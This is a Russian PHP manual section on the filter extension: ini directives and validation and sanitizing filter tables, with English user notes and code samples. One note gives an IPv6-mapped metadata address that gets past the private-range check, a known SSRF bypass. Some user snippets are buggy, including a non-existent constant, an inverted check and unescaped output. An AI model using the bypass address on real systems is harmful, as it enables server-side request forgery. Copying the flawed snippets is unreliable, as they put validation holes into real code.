Дополнительная информация и описания режимов INI_* даны в разделе «Места установки параметров конфигурации».

Краткое разъяснение конфигурационных директив.

filter.default string

Фильтрует все данные $_GET, $_POST, $_COOKIE, $_REQUEST и $_SERVER этим фильтром. Исходные данные могут быть получены с помощью filter_input().

Принимает имя указанного фильтра как значение по умолчанию. Имена фильтров можно найти в списке существующих фильтров.

Замечание:

Будьте внимательны с флагами по умолчанию для фильтров по умолчанию. Следует явно устанавливать их в то значение, которое вам необходимо. Например, для установки фильтра по умолчанию, который будет работать точь-в-точь аналогично функции htmlspecialchars(), вам необходимо установить флаги по умолчанию в 0 так, как показано ниже.

Пример #1 Настройка фильтра по умолчанию для работы аналогично функции htmlspecialchars

filter.default = full_special_chars
filter.default_flags = 0

filter.default_flags int

Флаги по умолчанию, которые применяются, когда установлен фильтр по умолчанию. По умолчанию задано FILTER_FLAG_NO_ENCODE_QUOTES в целях сохранения обратной совместимости. Смотрите список существующих флагов для ознакомления со списком всех имён флагов.

User Contributed Notes

warbaby67 at gmail dot com 14-Dec-2010 10:04
filter.default sets the default FILTER by name.
filter.default_flags sets default FLAGS for the default filter.

The values for filter.default should be a string "name" of a valid FILTER:

"int"      FILTER_VALIDATE_INT
"boolean"  FILTER_VALIDATE_BOOLEAN

The irony of the entire list I typed being blocked by the SPAM filter is not lost on me.  Perhaps I'm not the first.


Типы фильтров

Содержание

  • Фильтры валидации данных
  • Очищающие фильтры
  • Остальные фильтры
  • Флаги для фильтров

User Contributed Notes

There are no user contributed notes for this page.


Фильтры валидации данных

Список фильтров валидации данных
Идентификатор | Имя | Параметры | Флаги | Описание
FILTER_VALIDATE_BOOLEAN, FILTER_VALIDATE_BOOL | "boolean" | default | FILTER_NULL_ON_FAILURE | Возвращает true для значений «1», «true», «on» и «yes». Иначе возвращает false. Если установлен флаг FILTER_NULL_ON_FAILURE, то false возвращается только для значений «0», «false», «off», «no» и «», а значение null будет возвращёно для нелогических значений. Перед сравнением строковые значения обрезаются функцией trim().
FILTER_VALIDATE_DOMAIN | "validate_domain" | default | FILTER_FLAG_HOSTNAME, FILTER_NULL_ON_FAILURE | Проверяет, допустимы ли длины меток доменного имени. Проверяет доменные имена на соответствие стандартам RFC 1034, RFC 1035, RFC 952, RFC 1123, RFC 2732, RFC 2181 и RFC 1123. Необязательный флаг FILTER_FLAG_HOSTNAME отдельно проверяет имена хостов (стандарты разрешают именам начинаться с буквенно-цифрового символа и содержать только буквенно-цифровые символы или дефисы).
FILTER_VALIDATE_EMAIL | "validate_email" | default | FILTER_FLAG_EMAIL_UNICODE, FILTER_NULL_ON_FAILURE | Проверяет, представляет ли собой значение действительный адрес электронной почты. В общем, проверяет addr-spec-синтаксис адреса на соответствие стандарту с » RFC 822, за исключением того, что не поддерживаются комментарии, схлопывание пробельных символов и доменные имена без точек.
FILTER_VALIDATE_FLOAT | "float" | default, decimal, min_range, max_range | FILTER_FLAG_ALLOW_THOUSAND, FILTER_NULL_ON_FAILURE | Проверяет значение на соответствие корректному числу с плавающей точкой, и, если нужно, входит в определённый диапазон, в случае успешной проверки преобразовывает в число с плавающей точкой. Перед сравнением строковые значения обрезаются функцией trim().
FILTER_VALIDATE_INT | "int" | default, min_range, max_range | FILTER_FLAG_ALLOW_OCTAL, FILTER_FLAG_ALLOW_HEX, FILTER_NULL_ON_FAILURE | Проверяет значение на соответствие корректному целому числу, и, если нужно, входит в определённый диапазон, в случае успешной проверки преобразовывает в целое число. Перед сравнением строковые значения обрезаются функцией trim().
FILTER_VALIDATE_IP | "validate_ip" | default | FILTER_FLAG_IPV4, FILTER_FLAG_IPV6, FILTER_FLAG_NO_PRIV_RANGE, FILTER_FLAG_NO_RES_RANGE, FILTER_FLAG_GLOBAL_RANGE, FILTER_NULL_ON_FAILURE | Проверяет значение на соответствие корректному IP-адресу, и, если нужно, то только для протоколов IPv4 или IPv6, а также то, не входит ли адрес в частные или зарезервированные диапазоны.
FILTER_VALIDATE_MAC | "validate_mac_address" | default | FILTER_NULL_ON_FAILURE | Проверяет значение на соответствие корректному MAC-адресу.
FILTER_VALIDATE_REGEXP | "validate_regexp" | default, regexp | FILTER_NULL_ON_FAILURE | Проверяет значение на соответствие регулярному выражению regexp, Perl-совместимому регулярному выражению.
FILTER_VALIDATE_URL | "validate_url" | default | FILTER_FLAG_SCHEME_REQUIRED, FILTER_FLAG_HOST_REQUIRED, FILTER_FLAG_PATH_REQUIRED, FILTER_FLAG_QUERY_REQUIRED, FILTER_NULL_ON_FAILURE | Проверяет значение на соответствие корректному URL-адресу (по правилам стандарта » http://www.faqs.org/rfcs/rfc2396), если нужно, с необходимыми флагами. Осторожно, URL-адрес без протокола http:// признаётся допустимым, поэтому иногда требуется дополнительная проверка, которая определит, использует ли URL необходимый протокол, например ssh:// или mailto:. Функция признаёт допустимыми URL-адреса, которые состоят только из символов ASCII; интернациональные доменные имена не пройдут проверку.

Замечание:

Вместо значения, которое не прошло проверку, функция подставит значение по умолчанию, если в массиве параметров определена опция default.

Список изменений

Версия | Описание
8.0.0 | Флаги FILTER_FLAG_SCHEME_REQUIRED и FILTER_FLAG_HOST_REQUIRED для фильтра FILTER_VALIDATE_URL были удалены. Флаги scheme и host были и остаются обязательными.
8.0.0 | Добавлена константа FILTER_VALIDATE_BOOL как псевдоним FILTER_VALIDATE_BOOLEAN. Лучше предпочесть FILTER_VALIDATE_BOOL.
7.4.0 | Добавлены опции min_range и max_range для фильтра FILTER_VALIDATE_FLOAT.
7.0.0 | Добавлен флаг FILTER_FLAG_HOSTNAME и фильтр FILTER_VALIDATE_DOMAIN.

User Contributed Notes

Andrew Rump 13-Nov-2022 08:17
FILTER_VALIDATE_URL do not support IDN in any form, i.e., neither rodgrod.dk nor xn--rdgrd-vuad.dk even though the domain is active.
holger dot ahrens at rittec dot de 07-Mar-2022 08:12
FILTER_VALIDATE_FLOAT Security Risk CVE-2021-21708 High Risk from

Warning from MITRE Corporation, Common Vulnerabilities and Exposures:

In PHP versions 7.4.x below 7.4.28, 8.0.x below 8.0.16, and 8.1.x below 8.1.3, when using filter functions with FILTER_VALIDATE_FLOAT filter and min/max limits, if the filter fails, there is a possibility to trigger use of allocated memory after free, which can result it crashes, and potentially in overwrite of other memory chunks and RCE. This issue affects: code that uses FILTER_VALIDATE_FLOAT with min/max limits.

(Source: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-21708)
boan at jfmedier dot dk 11-Nov-2021 09:42
Note that some flags are removed in PHP 8. E.g. FILTER_FLAG_HOST_REQUIRED
andrew dot purkett at gmail dot com 13-May-2020 05:20
Please note that the FILTER_FLAG_NO_PRIV_RANGE flag does not exclude IPv4 private addresses in the IPv6 namespace, such as ::ffff:169.254.169.254.
carlosv775 at gmail dot com 05-May-2020 07:47
Looks like FILTER_VALIDATE_DOMAIN isn't available on PHP < 7:

https://3v4l.org/eOPLM
MR Yekta 02-Apr-2020 10:17
since php 7.4
you can use these 3 beautiful conditions for from validation for validation less, great or in range

<?php
/**
 * less_than_equal_to
 */
$x = 50;
if (filter_var($x, FILTER_VALIDATE_FLOAT, ["options" => ["max_range" => 100]]) !== false) {
    echo "result : $x is less than OR equal to 100";
} else {
    echo "result : $x is NOT less than OR equal to 100";
}
?>
result : 50 is less than OR equal to 100

<?php
/**
 * greater_than_equal_to
 */
$x = 50;
if (filter_var($x, FILTER_VALIDATE_FLOAT, ["options" => ["min_range" => 100]]) !== false) {
    echo "result : $x is greater than OR equal to 100";
} else {
    echo "result : $x is NOT greater than OR equal to 100";
}
?>
result : 50 is NOT greater than OR equal to 100

<?php
/**
 * less_than_equal_to && greater_than_equal_to
 */
$x = 50;
if (filter_var($x, FILTER_VALIDATE_FLOAT, ["options" => ["min_range" => 0 , "max_range"=> 100]]) !== false) {
    echo "result : $x is in range of 0 to 100";
} else {
    echo "result : $x in NOT range of 0 to 100";
}
?>
result : 50 is in range of 0 to 100
Vee W. 12-Aug-2019 10:09
`FILTER_FLAG_EMAIL_UNICODE` was added in PHP 7.1
gee2711 at googlemail dot com 30-Jan-2018 06:36
FILTER_FLAG_QUERY_REQUIRED is failing URLs that are encoded e.g.

http://example.com/page.php?q=growing+big

Fails whilst

http://example.com/page.php?q=big

So anything more than one word encoded fails.

Tested on PHP version 7.1
luca at accomazzi dot net 04-May-2017 02:47
A word to the wise regarding floats.

$t = '312041.25 &euro; instead of 896.70 &euro;';
echo filter_var ($t, FILTER_SANITIZE_NUMBER_FLOAT, FILTER_FLAG_ALLOW_FRACTION);

will return
312041.25896.70
which is likely not what you were expecting. In 2007 someone suggested it's not acceptable (see https://bugs.php.net/bug.php?id=40156&edit=2) but it was flagged "not a bug" because these kind of filters are only supposed to filter out illegal characters.
Of course if you were to use FILTER_VALIDATE_FLOAT it would just return that the input is not valid.
kizge 30-Jun-2016 08:18
FILTER_VALIDATE_INT first casts its value to string which produces unexpected result for bool and float (https://bugs.php.net/bug.php?id=72490):

<?php

// Prints int(1).
var_dump(filter_var(true, FILTER_VALIDATE_INT));

// ...but this prints bool(false).
var_dump(filter_var(false, FILTER_VALIDATE_INT));

// --------

// Prints bool(false).
var_dump(filter_var(1.1, FILTER_VALIDATE_INT));

// ...but this prints int(0).
var_dump(filter_var(0.0, FILTER_VALIDATE_INT));

// ...but this again is bool(false).
var_dump(filter_var('0.0', FILTER_VALIDATE_INT));

// Also bool(false).
var_dump(filter_var('-0.0', FILTER_VALIDATE_INT));

?>

Live sample: https://3v4l.org/CZW0W

The docs are not clear on how exactly this casting affects the result for certain input values.
sebastian dot piskorski at gmail dot com 05-Jan-2016 12:48
FILTER_VALIDATE_EMAIL not only doesn't support whitespace folding and comments. It only checks Addr-spec part of email address. Otherwise it should mark such address as valid: 'Test Example <test@example.com>' because it is valid according to RFC 822.

Also address "test@localhost" should be valid. Which is mentioned in another note.

You can test it with this code:
<?php

$emails = array(
    'Test Example <test@example.com>',
    'test@localhost',
    'test@localhost.com'
);

foreach ($emails as $email) {
    echo (filter_var($email, FILTER_VALIDATE_EMAIL)) ?
        "[+] Email '$email' is valid\n" :
        "[-] Email '$email' is NOT valid\n";
}
?>

Output for PHP 5.3.21 - 7.0.1 :
[-] Email 'Test Example <test@example.com>' is NOT valid
[-] Email 'test@localhost' is NOT valid
[+] Email 'test@localhost.com' is valid
rsnell at usgs dot gov 25-Nov-2015 05:18
Note that if using FILTER_NULL_ON_FAILURE as a flag with the FILTER_VALIDATE_BOOLEAN id then NULL is no longer returned if the variable name is not set in the external variable array. It will instead return FALSE. In the description is says that when using the FILTER_NULL_ON_FAILURE flag that ' FALSE is returned only for "0", "false", "off", "no", and ""' an makes no mention of this additional state that can also return false. The behavior is mentioned on the filter_input documentation page under Return Values but that is not overly helpful if one is just looking here.

If FILTER_NULL_ON_FAILURE is not used then NULL is returned when the variable name is not set in the external variable array, TRUE is returned for "1", "true", "on" and "yes" and FALSE is returned for everything else.
Lech 05-Sep-2015 08:41
The description for FILTER_VALIDATE_URL seems incorrect/misleading. "Beware a valid URL may not specify the HTTP protocol" implies a valid URL cannot specify the HTTP protocol. I think "Beware a valid URL need not specify..." would be better.
Wrinkled Cheese 09-Jun-2015 03:33
When validating a URL, as documented, the protocol is not validated.  However, it is required to be present.

For example:

I don't expect a protocol to be present.  To validate expected input I have to add a "protocol" as a prefix, and return true or false, and further validate the input.

$r = filter_var(''this.doesnt.matter.so.why.is.it.required://'.$host, FILTER_VALIDATE_URL);
return ($r != '' && $r !== false) ? true : false;
Darth Killer 02-Jun-2015 08:54
Contrary to what documentation implies, the FILTER_NULL_ON_FAILURE seem to affect any validation filter, not just FILTER_VALIDATE_BOOLEAN. I've been using that since PHP 5.2, and as of PHP 5.6.8 it still works. I have no clue if it's a blug or if it is as intended, in which case the documentation needs to be fixed.

When the flag is used on a validation filter other than FILTER_VALIDATE_BOOLEAN, as expected the filter will return NULL instead of FALSE upon failure. This is quite useful when filtering a POST form with filter_input_array(), where you don't want to check what field is invalid and what field is missing. Just check if NULL is among the returned elements and you're done.

<?php
$definition = array(
   'login' => array(
      'filter' => FILTER_VALIDATE_STRING,
      'flags' => FILTER_NULL_ON_FAILURE
   ),
   'pwd' => FILTER_UNSAFE_RAW
);
$form_data = filter_input_array(INPUT_POST, $definition);
if(in_array(null, $form_data, true)) {
   // invalid form
} else {
   // valid form, let's proceed
}
?>

Of course, if you want more precise error messages that approach won't work. But it's still good to know, i believe.
Luuk 25-May-2015 10:23
@2:
$value = " 0 ";
$filtered = filter_var($value, FILTER_VALIDATE_INT);
if($filtered || $filtered === 0)
{
    // validated as an int
}

I think next code is better:

$value = "0";
if(filter_var($value, FILTER_VALIDATE_INT) !== false)
{
  .....
Anonymous 22-May-2015 08:02
FILTER_VALIDATE_FLOAT, decimal option mean decimal notation['.', ','].
maruerru at gmail dot com 26-Mar-2015 11:09
Often I see some code like the following:
$value = "12";
if( filter_var($value, FILTER_VALIDATE_INT) )
{
    // validated as an int
}

The above works as intended, except when $value is "0". In the above case it will be interpreted as FALSE.

For the correct behavior,  you have not only to check if it is equal (==) to false, but also identic (===) to FALSE:
$value = " 0 ";
if( filter_var($value, FILTER_VALIDATE_INT)  === FALSE )
{
    // validated as an int
}

I hope, I could help.
bryanwayb at gmail dot com 22-Mar-2015 04:18
It's good to remember that using filter_var is primarily for filtering input values when doing boolean logic comparisons. Take the following:

$value = "12";
if(filter_var($value, FILTER_VALIDATE_INT))
{
    // validated as an int
}

The above works as intended, except when $value = "0". In which case filter_var returns a 0, aka false when used as a boolean.

For the correct behavior, do a zero check.

$value = " 0 ";
$filtered = filter_var($value, FILTER_VALIDATE_INT);
if($filtered || $filtered === 0)
{
    // validated as an int
}
Bastien 24-Sep-2013 08:05
Rejection of so-called partial domains because of "missing" dot is not following section 2.3.5 of RFC 5321.

It says FQDNs are permitted, and com, org, or va are (well, may be) valids FQDNs. It depends on DNS, not on syntax.

Some TDLs (although few of them) have MX RRs, the for example "abuse@va" is correct.
rowan dot collins at gmail dot com 17-Mar-2013 08:22
Regarding "partial" addresses with no . in the domain part, a comment in the source code (in ext/filter/logical_filters.c) justifies this rejection thus:

     * The regex below is based on a regex by Michael Rushton.
     * However, it is not identical.  I changed it to only consider routeable
     * addresses as valid.  Michael's regex considers a@b a valid address
     * which conflicts with section 2.3.5 of RFC 5321 which states that:
     *
     *   Only resolvable, fully-qualified domain names (FQDNs) are permitted
     *   when domain names are used in SMTP.  In other words, names that can
     *   be resolved to MX RRs or address (i.e., A or AAAA) RRs (as discussed
     *   in Section 5) are permitted, as are CNAME RRs whose targets can be
     *   resolved, in turn, to MX or address RRs.  Local nicknames or
     *   unqualified names MUST NOT be used.
boy at relaxnow dot nl 19-Oct-2012 02:06
FILTER_VALIDATE_URL does not work with URNs, examples of valid URIs according to RFC3986 and if they are accepted by FILTER_VALIDATE_URL:

[PASS] ftp://ftp.is.co.za.example.org/rfc/rfc1808.txt
[PASS] gopher://spinaltap.micro.umn.example.edu/00/Weather/California/Los%20Angeles
[PASS] http://www.math.uio.no.example.net/faq/compression-faq/part1.html
[PASS] mailto:mduerst@ifi.unizh.example.gov
[PASS] news:comp.infosystems.www.servers.unix
[PASS] telnet://melvyl.ucop.example.edu/
[PASS] http://www.ietf.org/rfc/rfc2396.txt
[PASS] ldap://[2001:db8::7]/c=GB?objectClass?one
[PASS] mailto:John.Doe@example.com
[PASS] news:comp.infosystems.www.servers.unix
[FAIL] tel:+1-816-555-1212
[PASS] telnet://192.0.2.16:80/
[FAIL] urn:oasis:names:specification:docbook:dtd:xml:4.1.2
bee kay two at em ee dot com 06-May-2012 04:45
Notably missing is a way to validate text entry as printable,
printable multiline,
or printable and safe (tag free)

FILTER_VALIDATE_TEXT, which validates no special characters
perhaps with FILTER_FLAG_ALLOW_NEWLINE
and FILTER_FLAG_NOTAG to disallow tag starters
php at sethsyberg dot com 07-Apr-2011 01:00
When validating floats, you must use the Identical/Not identical operators for proper validation of zeros:

This will not work as expected:
<?php
$x = 0;
if (!filter_var($x, FILTER_VALIDATE_FLOAT)) {
    echo "$x is a valid float";
} else {
    echo "$x is NOT a valid float";
}
?>

This will work as expected:
<?php
$x = 0;
if (filter_var($x, FILTER_VALIDATE_FLOAT)!== false) {
    echo "$x is a valid float";
} else {
    echo "$x is NOT a valid float";
}
?>
php dot net at piskvor dot org 11-Feb-2011 08:57
FILTER_VALIDATE_EMAIL is discarding valid e-mail addresses containing IDN. Since there are real, live IDNs on the Internet, that means the filtered output is too strict, leading to false negatives.

Punycode-encoded IDN addresses pass the filter correctly; so before checking for validity, it is necessary to convert the e-mail address to punycode.
Clifton 05-Jan-2011 08:00
FILTER_VALIDATE_EMAIL does NOT allow incomplete e-mail addresses to be validated as mentioned by Tomas.

Using the following code:

<?php
$email = "clifton@example"; //Note the .com missing
echo "PHP Version: ".phpversion().'<br>';
if(filter_var($email, FILTER_VALIDATE_EMAIL)){
    echo $email.'<br>';
    var_dump(filter_var($email, FILTER_VALIDATE_EMAIL));
}else{
    var_dump(filter_var($email, FILTER_VALIDATE_EMAIL));
}
?>

Returns:
PHP Version: 5.2.14 //On MY server, may be different depending on which version you have installed.
bool(false)

While the following code:

<?php
$email = "clifton@example.com"; //Note the .com added
echo "PHP Version: ".phpversion().'<br>';
if(filter_var($email, FILTER_VALIDATE_EMAIL)){
    echo $email.'<br>';
    var_dump(filter_var($email, FILTER_VALIDATE_EMAIL));
}else{
    var_dump(filter_var($email, FILTER_VALIDATE_EMAIL));
}
?>

Returns:
PHP Version: 5.2.14 //On MY server, may be different depending on which version you have installed.
clifton@example.com
string(16) "clifton@example.com"

This feature is only available for PHP Versions (PHP 5 >= 5.2.0) according to documentation. So make sure your version is correct.

Cheers,
Clifton


Очищающие фильтры

Список очищающих фильтров
Идентификатор | Имя | Флаги | Описание
FILTER_SANITIZE_EMAIL | "email" |  | Удаляет символы, кроме букв, цифр и символов !#$%&'*+-=?^_`{|}~@.[].
FILTER_SANITIZE_ENCODED | "encoded" | FILTER_FLAG_STRIP_LOW, FILTER_FLAG_STRIP_HIGH, FILTER_FLAG_STRIP_BACKTICK, FILTER_FLAG_ENCODE_LOW, FILTER_FLAG_ENCODE_HIGH | Кодирует строку в формат URL, и, если нужно, удаляет или кодирует специальные символы.
FILTER_SANITIZE_MAGIC_QUOTES | "magic_quotes" |  | Применяет функцию addslashes(). (УСТАРЕЛА с PHP 7.3.0 и УДАЛЕНА с PHP 8.0.0, вместо неё указывают FILTER_SANITIZE_ADD_SLASHES.)
FILTER_SANITIZE_ADD_SLASHES | "add_slashes" |  | Применяет функцию addslashes(). (Доступно с PHP 7.3.0.)
FILTER_SANITIZE_NUMBER_FLOAT | "number_float" | FILTER_FLAG_ALLOW_FRACTION, FILTER_FLAG_ALLOW_THOUSAND, FILTER_FLAG_ALLOW_SCIENTIFIC | Удаляет символы, кроме цифр, +- и если нужно, то и .,eE.
FILTER_SANITIZE_NUMBER_INT | "number_int" |  | Удаляет символы, кроме цифр и знаков плюса и минуса.
FILTER_SANITIZE_SPECIAL_CHARS | "special_chars" | FILTER_FLAG_STRIP_LOW, FILTER_FLAG_STRIP_HIGH, FILTER_FLAG_STRIP_BACKTICK, FILTER_FLAG_ENCODE_HIGH | Кодирует символы '"<>& и символы с ASCII-кодом меньше 32 в HTML-сущности, и, если нужно, удаляет или кодирует остальные специальные символы.
FILTER_SANITIZE_FULL_SPECIAL_CHARS | "full_special_chars" | FILTER_FLAG_NO_ENCODE_QUOTES | Эквивалент вызова функции htmlspecialchars() с параметром ENT_QUOTES. Кодирование кавычек отключают установкой флага FILTER_FLAG_NO_ENCODE_QUOTES. Как и функция htmlspecialchars(), этот фильтр учитывает директиву default_charset, и если в последовательности байтов будет обнаружен недопустимый для текущей кодировки символ, то вся строка будет забракована, а результатом будет строка нулевой длины. При установке этого фильтра в качестве фильтра по умолчанию учитывают предупреждение, которое изложено ниже, оно рассказывает об установке флагам по умолчанию значения 0.
FILTER_SANITIZE_STRING | "string" | FILTER_FLAG_NO_ENCODE_QUOTES, FILTER_FLAG_STRIP_LOW, FILTER_FLAG_STRIP_HIGH, FILTER_FLAG_STRIP_BACKTICK, FILTER_FLAG_ENCODE_LOW, FILTER_FLAG_ENCODE_HIGH, FILTER_FLAG_ENCODE_AMP | Удаляет теги и кодирует двойные и одинарные кавычки, а если нужно, удаляет или кодирует специальные символы. Кодирование кавычек можно отключить, установив FILTER_FLAG_NO_ENCODE_QUOTES. (Объявлен устаревшим начиная с PHP 8.1.0, используйте вместо него функцию htmlspecialchars()).
FILTER_SANITIZE_STRIPPED | "stripped" |  | Псевдоним фильтра "string". (Объявлен устаревшим начиная с PHP 8.1.0, используйте вместо него функцию htmlspecialchars()).
FILTER_SANITIZE_URL | "url" |  | Удаляет символы, кроме букв, цифр и $-_.+!*'(),{}|\\^~[]`<>#%";/?:@&=.
FILTER_UNSAFE_RAW | "unsafe_raw" | FILTER_FLAG_STRIP_LOW, FILTER_FLAG_STRIP_HIGH, FILTER_FLAG_STRIP_BACKTICK, FILTER_FLAG_ENCODE_LOW, FILTER_FLAG_ENCODE_HIGH, FILTER_FLAG_ENCODE_AMP | Бездействует, и, если нужно, удаляет или кодирует специальные символы. Этот фильтр — псевдоним фильтра FILTER_DEFAULT.

Внимание

Когда либо в ini-файле, либо в конфигурации веб-сервера один из этих фильтров указан в качестве фильтра по умолчанию, флагом по умолчанию для него будет значение FILTER_FLAG_NO_ENCODE_QUOTES. Необходимо явно установить параметру filter.default_flags значение 0, чтобы по умолчанию кавычки кодировались. Вот так:

Пример #1 Настройка фильтра по умолчанию для работы аналогично функции htmlspecialchars

filter.default = full_special_chars
filter.default_flags = 0

Список изменений

Версия | Описание
8.1.0 | Фильтры FILTER_SANITIZE_STRING и FILTER_SANITIZE_STRIPPED объявлены устаревшими.
8.0.0 | Удалён фильтр FILTER_SANITIZE_MAGIC_QUOTES.
7.3.0 | В качестве замены FILTER_SANITIZE_MAGIC_QUOTES добавлен фильтр FILTER_SANITIZE_ADD_SLASHES.
7.3.0 | Фильтр FILTER_SANITIZE_MAGIC_QUOTES объявлен устаревшим.

User Contributed Notes

finkenb2 at msu dot edu 11-Dec-2023 09:05
With the deprecation of FILTER_SANITIZE_STRING, the "use htmlspecialchars instead" is an incomplete comment.  The functionality of FILTER_SANITIZE_STRING was a combination of htmlspcialchars and (approximately) strip_tags.  For true compatibility a polyfil may be needed:

<?php
function filter_string_polyfill(string $string): string
{
    $str = preg_replace('/\x00|<[^>]*>?/', '', $string);
    return str_replace(["'", '"'], ['&#39;', '&#34;'], $str);
}

$string = "Some \"' <bizzare> string & to Sanitize < !$@%";
echo filter_var($string,FILTER_SANITIZE_STRING).PHP_EOL;
//Some &#34;&#39;  string & to Sanitize

echo htmlspecialchars($string).PHP_EOL;
//Some &quot;&#039; &lt;bizzare&gt; string &amp; to Sanitize &lt; !$@%

echo strip_tags($string).PHP_EOL;
//Some "'  string & to Sanitize < !$@%

echo htmlspecialchars(strip_tags($string,ENT_QUOTES)).PHP_EOL;
//Some &quot;&#039;  string &amp; to Sanitize &lt; !$@%

echo filter_string_polyfill($string).PHP_EOL;
//Some &#34;&#39;  string & to Sanitize
ipse at sergiosantos dot me 02-Dec-2020 04:49
Although it's specifically mentioned in the above documentation, because many seem to find this unintuitive it's worth pointing out that FILTER_SANITIZE_NUMBER_FLOAT will remove the decimal character unless you specify FILTER_FLAG_ALLOW_FRACTION:

<?php
$number_string = '12.34';

echo filter_var( $number_string, FILTER_SANITIZE_NUMBER_FLOAT ); // 1234

echo filter_var( $number_string, FILTER_SANITIZE_NUMBER_FLOAT, FILTER_FLAG_ALLOW_FRACTION ); // 12.34
?>
Anonymous 20-Jul-2020 05:29
<?php
 /*
     filter all ascii and save juste 0-9 a-Z and @ . _
*/

echo alphanum('abcdefghABCDEFGH0123456789/!:;@._');
// return abcdefghABCDEFGH0123456789@._

function alphanum( $string , $x=''){
        $h=strlen($string);
        for($a=0; $a<$h; $a++) {
            $i = ord($string[$a]);
            if(
                ($i==46) || // .
                ($i==64) || // @
                ($i==95) || // _
                ($i > 47 && $i < 58) || //0123456789
                ($i > 64 && $i < 91) || //ABCDEFGH..Z
                ($i > 96 && $i < 123)   //abcdefgh..z
             ) { $x .= $string[$a]; }
        }
        return $x;
    }

?>
Rodrigo Guariento 13-Feb-2020 11:55
To get ONLY numbers from a string use this code:
    echo preg_replace('/[^0-9]/', '', '123456-789');
anonymous 31-Jan-2020 12:55
In the "FILTER_SANITIZE_URL" section where it says, "Remove all characters except letters, digits and $-_.+!*'(),{}|\\^~[]`<>#%";/?:@&=." is there a reason why there is a double backslash (\\)? Shouldn't there only be one backslash if it's saying that backslashes are allowed?
darren at daz-web dot com 12-Nov-2018 12:31
For those looking for a simple way around filtering POST forms that have textarea elements in them. If you also need tab for example you can extend quite easily.

<?php
//create an array of all relevant textareas
$textareas = array("ta1");

foreach($_POST as $k => $v)
    {
        $v = trim($v);//so we are sure it is whitespace free at both ends

        //preserve newline for textarea answers
        if(in_array($k,$textareas))$v=str_replace("\n","[NEWLINE]",$v);

        //sanitise string
        $v = filter_var($v, FILTER_SANITIZE_STRING, FILTER_FLAG_STRIP_LOW | FILTER_FLAG_STRIP_HIGH | FILTER_FLAG_STRIP_BACKTICK);

        //now replace the placeholder with the original newline
        $_POST[$k] = str_replace("[NEWLINE]","\n",$v);
    }

//simple form for testing submital

?><!doctype html>
<html>
<head>
<meta charset="utf-8">
<title>Filter test</title>
</head>

<body>

<form action="" method="post">
    <p>
        <textarea name="ta1" cols="30" rows="10"><?php echo $_POST['ta1']; ?></textarea>
    </p>
    <p>
        <input type="text" name="txt1" size="30" value="<?php echo $_POST['txt1']; ?>" />
    </p>
    <p>
        <input type="submit" />
    </p>
    </form>

</body>

</html>
AntonioPrimera 04-Aug-2016 01:12
Please be aware that when using filter_var() with FILTER_SANITIZE_NUMBER_FLOAT and FILTER_SANITIZE_NUMBER_INT the result will be a string, even if the input value is actually a float or an int.

Use FILTER_VALIDATE_FLOAT and FILTER_VALIDATE_INT, which will convert the result to the expected type.
Willscrlt 10-Mar-2016 10:11
To include multiple flags, simply separate the flags with vertical pipe symbols.

For example, if you want to use filter_var() to sanitize $string with FILTER_SANITIZE_STRING and pass in FILTER_FLAG_STRIP_HIGH and FILTER_FLAG_STRIP_LOW, just call it like this:

$string = filter_var($string, FILTER_SANITIZE_STRING, FILTER_FLAG_STRIP_HIGH | FILTER_FLAG_STRIP_LOW);

The same goes for passing a flags field in an options array in the case of using callbacks.

$var = filter_var($string, FILTER_SANITIZE_SPECIAL_CHARS,
array('flags' => FILTER_FLAG_STRIP_LOW | FILTER_FLAG_ENCODE_HIGH));

Thanks to the Brain Goo blog at popmartian.com/tipsntricks/for this info.
Anonymous 22-Oct-2015 03:56
FILTER_SANITIZE_STRING doesn't behavior the same as strip_tags function.    strip_tags allows less than symbol inferred from context, FILTER_SANITIZE_STRING strips regardless.
<?php
$smaller = "not a tag < 5";
echo strip_tags($smaller);    // -> not a tag < 5
echo filter_var ( $smaller, FILTER_SANITIZE_STRING); // -> not a tag
?>
david dot drakulovski at gmail dot com 25-Feb-2014 07:54
Here is a simpler and a better presented ASCII list for the <32 or 127> filters
(if wikipedia confused the hell out of you):

http://www.danshort.com/ASCIImap/
galvao at galvao dot eti dot br 02-Mar-2013 06:04
Just to clarify, since this may be unknown for a lot of people:

ASCII characters above 127 are known as "Extended" and they represent characters such as greek letters and accented letters in latin alphabets, used in languages such as pt_BR.

A good ASCII quick reference (aside from the already mentioned Wikipedia article) can be found at: http://www.asciicodes.com/
Anonymous 15-Feb-2013 07:42
Support for FILTER_SANITIZE_FULL_SPECIAL_CHARS was added from version 5.3.3
googlybash24 at aol dot com 19-Sep-2012 05:39
Remember to trim() the $_POST before your filters are applied:

<?php

// We trim the $_POST data before any spaces get encoded to "%20"

// Trim array values using this function "trim_value"
function trim_value(&$value)
{
    $value = trim($value);    // this removes whitespace and related characters from the beginning and end of the string
}
array_filter($_POST, 'trim_value');    // the data in $_POST is trimmed

$postfilter =    // set up the filters to be used with the trimmed post array
    array(
            'user_tasks'                        =>    array('filter' => FILTER_SANITIZE_STRING, 'flags' => !FILTER_FLAG_STRIP_LOW),    // removes tags. formatting code is encoded -- add nl2br() when displaying
            'username'                            =>    array('filter' => FILTER_SANITIZE_ENCODED, 'flags' => FILTER_FLAG_STRIP_LOW),    // we are using this in the url
            'mod_title'                            =>    array('filter' => FILTER_SANITIZE_ENCODED, 'flags' => FILTER_FLAG_STRIP_LOW),    // we are using this in the url
        );

$revised_post_array = filter_var_array($_POST, $postfilter);    // must be referenced via a variable which is now an array that takes the place of $_POST[]
echo (nl2br($revised_post_array['user_tasks']));    //-- use nl2br() upon output like so, for the ['user_tasks'] array value so that the newlines are formatted, since this is our HTML <textarea> field and we want to maintain newlines
?>
adellemfrank at hotmail dot com 09-Jul-2012 07:07
A good list of which ASCII characters are < 32 and > 127 can be found at: http://en.wikipedia.org/wiki/ASCII#ASCII_printable_characters
Dmitry Snytkine 11-Apr-2011 04:17
Beware that FILTER_FLAG_STRIP_LOW strips NEWLINE and TAG and CARRIAGE RETURN chars. If you have a form that accepts user input in plaintext format, all the submitted text will lose all the line breaks, making it appear all on one line. This basically renders this filter useless for parsing user-submitted text, even in plain text.
marcus at synchromedia dot co dot uk 27-Nov-2009 01:07
It's not entirely clear what the LOW and HIGH ranges are. LOW is characters below 32, HIGH is those above 127, i.e. outside the ASCII range.

<?php
$a = "\tcafe\n";
//This will remove the tab and the line break
echo filter_var($a, FILTER_SANITIZE_STRING, FILTER_FLAG_STRIP_LOW);
//This will remove the e.
echo filter_var($a, FILTER_SANITIZE_STRING, FILTER_FLAG_STRIP_HIGH);
?>


Остальные фильтры

Список остальных фильтров
